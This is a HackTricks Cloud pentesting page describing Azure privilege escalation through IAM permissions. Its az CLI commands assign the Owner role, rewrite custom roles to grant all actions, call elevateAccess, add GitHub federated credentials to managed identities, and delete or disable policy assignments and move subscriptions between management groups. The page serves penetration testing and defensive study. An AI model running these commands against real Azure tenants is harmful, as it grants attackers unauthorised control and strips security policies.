hacktricks-cloud/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md

Az - Azure IAM Privesc (Authorization)

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Azure IAM

Fore more information check:

{{#ref}} ../az-services/az-azuread.md {{#endref}}

Microsoft.Authorization/roleAssignments/write

This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.

Create the file role.json with the following content:

{
  "roleName": "<name of the role>",
  "Name": "<name of the role>",
  "IsCustom": true,
  "Description": "Custom role with elevated privileges",
  "Actions": ["*"],
  "NotActions": [],
  "DataActions": ["*"],
  "NotDataActions": [],
  "AssignableScopes": ["/subscriptions/<subscription-id>"],
  "id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

Then update the role permissions with the previous definition calling:

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.

Tip

I think the user need to be Global Administrator in Entrad ID for the elevate call to work.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to access any user defined managed identity.

Example command to give access to a repo in Github to the a managed identity:

# Generic example:
az rest --method PUT \
  --uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
  --headers "Content-Type=application/json" \
  --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
  --uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
  --headers "Content-Type=application/json" \
  --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

An attacker with the permission Microsoft.Authorization/policyAssignments/write or Microsoft.Authorization/policyAssignments/delete over a management group, subscription, or resource group can modify or delete Azure policy assignments, potentially disabling security restrictions that block specific operations.

This allows access to resources or functionalities that were previously protected by the policy.

Delete a policy assignment:

az policy assignment delete \
    --name "<policyAssignmentName>" \
    --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Disable a policy assignment:

az policy assignment update \
    --name "<policyAssignmentName>" \
    --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
    --enforcement-mode Disabled

Verify the changes:

# List policy assignments
az policy assignment list \
    --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
    --name "<policyAssignmentName>" \
    --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

An attacker with the permission Microsoft.Authorization/policyDefinitions/write can modify Azure policy definitions, changing the rules that control security restrictions across the environment.

For example, a policy that limits the allowed regions for creating resources can be modified to allow any region, or the policy effect can be changed to make it ineffective.

Modify a policy definition:

az policy definition update \
    --name "<policyDefinitionName>" \
    --rules @updated-policy-rules.json

Verify the changes:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

An attacker with the permission Microsoft.Management/managementGroups/write can modify the hierarchical structure of management groups or create new management groups, potentially evading restrictive policies applied at higher levels.

For example, an attacker can create a new management group without restrictive policies and then move subscriptions to it.

Create a new management group:

az account management-group create \
    --name "yourMGname" \
    --display-name "yourMGDisplayName"

Modify a management group hierarchy:

az account management-group update \
    --name "<managementGroupId>" \
    --parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Verify the changes:

az account management-group list --output table

az account management-group show \
    --name "<managementGroupId>" \
    --expand

Microsoft.Management/managementGroups/subscriptions/write

An attacker with the permission Microsoft.Management/managementGroups/subscriptions/write can move subscriptions between management groups, potentially evading restrictive policies by moving a subscription to a group with less restrictive or no policies.

Move a subscription to a different management group:

az account management-group subscription add \
    --name "<managementGroupName>" \
    --subscription "<subscriptionId>"

Verify the changes:

az account management-group subscription show \
    --name "<managementGroupId>" \
    --subscription "<subscriptionId>"

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